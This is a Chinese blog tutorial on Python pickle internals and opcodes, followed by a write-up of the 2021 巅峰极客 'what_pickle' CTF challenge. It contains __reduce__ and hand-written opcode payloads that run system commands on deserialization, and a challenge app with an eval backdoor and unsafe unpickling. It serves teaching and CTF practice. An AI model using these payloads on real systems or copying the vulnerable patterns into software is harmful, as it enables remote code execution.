HacKerQWQ的博客空间

pickle序列化与反序列化

Word count: 2.1kReading time: 9 min
2021/08/03 Share

pickle简介

picklecpickle都用于对象的序列化和反序列化,作用和PHP的serialize与unserialize一样,两者只是实现的语言不同,一个是纯Python实现、另一个是C实现,函数调用基本相同,但cPickle库的性能更好。

pickle是一门栈语言,基于一个轻量的 PVM(Pickle Virtual Machine)。而PVM则主要包含指令处理器stackmemo

  • 指令处理器:处理OPcode和参数,对其进行解析。最后留在栈顶的值将作为反序列化对象返回。
  • stack:用来临时存储数据,参数和对象,由python的list实现,可理解为计算机的内存
  • memo:为PVM整个生命周期提供存储,由python的dict实现,可理解为计算机的硬盘存储

pickle序列化与反序列化常用函数

函数 说明
dumps 对象反序列化为bytes对象
dump 对象反序列化到文件对象,存入文件
loads 从bytes对象反序列化
load 对象反序列化,从文件中读取数据
  • dumps(object)
  • dump(object,file),这里的file要用wb打开
  • loads(string),序列化后的字符串
  • load(file),file使用rb打开
  • dump的文件一般用pkl后缀保存表示pickle序列化后的内容

例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import pickle
import os

class Test1(object):
def __init__(self,a,b):
self.a=a
self.b=b

if __name__=="__main__":
test = Test1("admin","pass")
fp1 = open("Test_class.pkl","wb")
pickle.dump(test,fp1)
fp1.close()

image-20210803165834096

__reduce__反序列化

__reduce__与PHP的__desurcuct()函数一样用于反序列化

区别:__reduce__在生成序列化字符串时起作用,并且保存调用的方法,而且在反序列化时会自动import需要使用的模块

传参情况如下

在这里插入图片描述

例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import pickle
import os

class Test1(object):
def __reduce__(self):
return (os.system,("whoami",))

if __name__=="__main__":
test = Test1()
fp1 = open("Test_class.pkl","wb")
pickle.dump(test,fp1)
fp1.close()
print(pickle.dumps(test))
fp2 = open("Test_class.pkl","rb")
print(pickle.load(fp2))

image-20210803171952186

指令集

当前用于 pickle 的协议共有 5 种。使用的协议版本越高,读取生成的 pickle 所需的 Python 版本就要越新。

  • v0 版协议是原始的 “人类可读” 协议,并且向后兼容早期版本的 Python。
  • v1 版协议是较早的二进制格式,它也与早期版本的 Python 兼容。
  • v2 版协议是在 Python 2.3 中引入的。它为存储 new-style class 提供了更高效的机制。欲了解有关第 2 版协议带来的改进,请参阅 PEP 307
  • v3 版协议添加于 Python 3.0。它具有对 bytes 对象的显式支持,且无法被 Python 2.x 打开。这是目前默认使用的协议,也是在要求与其他 Python 3 版本兼容时的推荐协议。
  • v4 版协议添加于 Python 3.4。它支持存储非常大的对象,能存储更多种类的对象,还包括一些针对数据格式的优化。有关第 4 版协议带来改进的信息,请参阅 PEP 3154

我们手写的opcode是用python2执行的,即v0,加上dump或者dumps的时候protocol=0参数就好了

1
2
pickle.dump(object,file,protocol=0)
pickle.dumps(object,protocol=0)

操作码可以从pickle的源码中获取

image-20210803172554520

列出常用的几个

  • c:引入模块和对象,模块名和对象名以换行符分割。
  • (:压入一个标志到栈中,表示元组的开始位置
  • t:从栈顶开始,找到最上面的一个(,并将(t中间的内容全部弹出,组成一个元组,再把这个元组压入栈中
  • R:从栈顶弹出一个可执行对象和一个元组,元组作为函数的参数列表执行,并将返回值压入栈上
  • p:将栈顶的元素存储到memo中,p后面跟一个数字,就是表示这个元素在memo中的索引
  • VS:向栈顶压入一个(unicode)字符串
  • .:表示整个程序结束

因此下面这段代码的解释如下

image-20210803174505482

1
2
3
4
5
6
7
8
c GOLBAL nt #使用self.findclass(modname,name)引入nt模块 
system #引入nt模块下的system对象
p PUT 0 #将栈顶的元素即刚刚引入的nt.system放进memo的0位置
(V Mark&UNICODE whoami #将元组开始表示放进栈顶,并放入unicode字符串whoami
p PUT 1 #将栈顶元素,也就是whoami放进memo的1位置
tp TUPLE&PUT 2 #将栈顶的元素弹出,变成元组形式压回栈中,将栈顶元素(元组)放进memo的2位置
Rp REDUCE&PUT 3 #从栈顶弹回可执行对象(nt.system)和元组((whoami))执行,将结果压回栈顶,将结果放入memo的3位置
. STOP #程序执行结束

由此可以看出压入memo的操作不影响程序运行,因此上面代码可简化为

1
2
3
4
cnt
system
(Vwhoami
tR.

RestrictedUnpickler类用于过滤反序列化的类

image-20210803182205451

用法:

1
if module == "builtins" and name in safe_builtins

这条语句就限定了当模块名为builtins,对象名在白名单中的时候才能调用,也就意味着c后面的字符串和下一行的字符串要符合条件才能引入

2021年巅峰极客的what_pickle

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from flask import Flask, request, session, render_template, url_for,redirect
import pickle
import io
import sys
import base64
import random
import subprocess
from ctypes import cdll
from config import SECRET_KEY, notadmin,user

cdll.LoadLibrary("./readflag.so")

app = Flask(__name__)
app.config.update(dict(
SECRET_KEY=SECRET_KEY,
))

class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module in ['config'] and "__" not in name:
return getattr(sys.modules[module], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))


def restricted_loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()


@app.route('/')
@app.route('/index')
def index():
if session.get('username', None):
return redirect(url_for('home'))
else:
return render_template('index.html')

@app.route('/login', methods=["POST"])
def login():
name = request.form.get('username', '')
data = request.form.get('data', 'test')
User = user(name,data)
session["info"]=base64.b64encode(pickle.dumps(User))
return redirect(url_for('home'))

@app.route('/home')
def home():
info = session["info"]
User = restricted_loads(base64.b64decode(info))
Jpg_id = random.randint(1,5)
return render_template('home.html',id = str(Jpg_id), info = User.data)


@app.route('/images')
def images():
command=["wget"]
argv=request.args.getlist('argv')
true_argv=[x if x.startswith("-") else '--'+x for x in argv]
image=request.args['image']
command.extend(true_argv)
command.extend(["-q","-O","-"])
command.append("http://127.0.0.1:8080/"+image)
image_data = subprocess.run(command,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
return image_data.stdout



if __name__ == '__main__':
app.run(host='0.0.0.0', debug=True, port=80)

config.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import pickle
import os


SECRET_KEY="On_You_fffffinddddd_thi3_kkkkkkeeEEy"

notadmin={"admin":"no"}

class user():
def __init__(self, username, data):
self.username = username
self.data = data

def backdoor(cmd):
if isinstance(cmd,list) and notadmin["admin"]=="yes":
s=''.join(cmd)
eval(s)

app.py重点代码在:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module in ['config'] and "__" not in name:
return getattr(sys.modules[module], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))


def restricted_loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()

@app.route('/home')
def home():
info = session["info"]
User = restricted_loads(base64.b64decode(info))
Jpg_id = random.randint(1,5)
return render_template('home.html',id = str(Jpg_id), info = User.data)

这里的home路由会对session中的info参数进行反序列化,并且规定了只能调用config模块,而且不能import config.__*这种形式的对象,但是config.py的backdoor使用了backdoor作为代码执行的方法,考点就是手写pickle的opcode

  • 限制条件:
    1. notadmin[‘admin’]为yes
    2. cmd为list形式

payload如下

1
2
3
4
5
6
7
8
9
cconfig #引入config.notadmin并压入栈顶
notadmin
S'admin' #将Unicode字符串admin压入栈顶
S'yes' #将Unicode字符串yes压入栈顶
scconfig # 将栈顶的两个元素取出,作为字典的键值压入栈顶,引入config的backdoor方法
backdoor
((lV__import__('os').system('whoami') #第一个mark用于标志元组,第二个mark标志和l用于标志list,并生成字符串形式的payload
aV #闭合列表的mark,V表示生成空字符串,否则就会添加一个换行符进入外面一层的数组
atR.#闭合元组,将栈顶到mark的元素弹出作为元素压回栈顶,取出栈顶可执行对象(backdoor)和一个元组,执行后返回结果压入栈顶,程序结束
  • l LIST 将栈顶到mark的元素作为列表,和(结合使用,意思是生成一个列表
  • a APPEND 将栈顶元素压入列表

参考链接

https://www.leavesongs.com/PENETRATION/code-breaking-2018-python-sandbox.html

https://blog.csdn.net/qq_43431158/article/details/108919605

https://www.cnblogs.com/DEADF1SH-CAT/p/12465346.html#%E7%AE%80%E4%BB%8B

CATALOG
  1. 1. pickle简介
  2. 2. pickle序列化与反序列化常用函数
    1. 2.0.1. __reduce__反序列化
  • 3. 指令集
  • 4. RestrictedUnpickler类用于过滤反序列化的类
    1. 4.1. 2021年巅峰极客的what_pickle
  • 5. 参考链接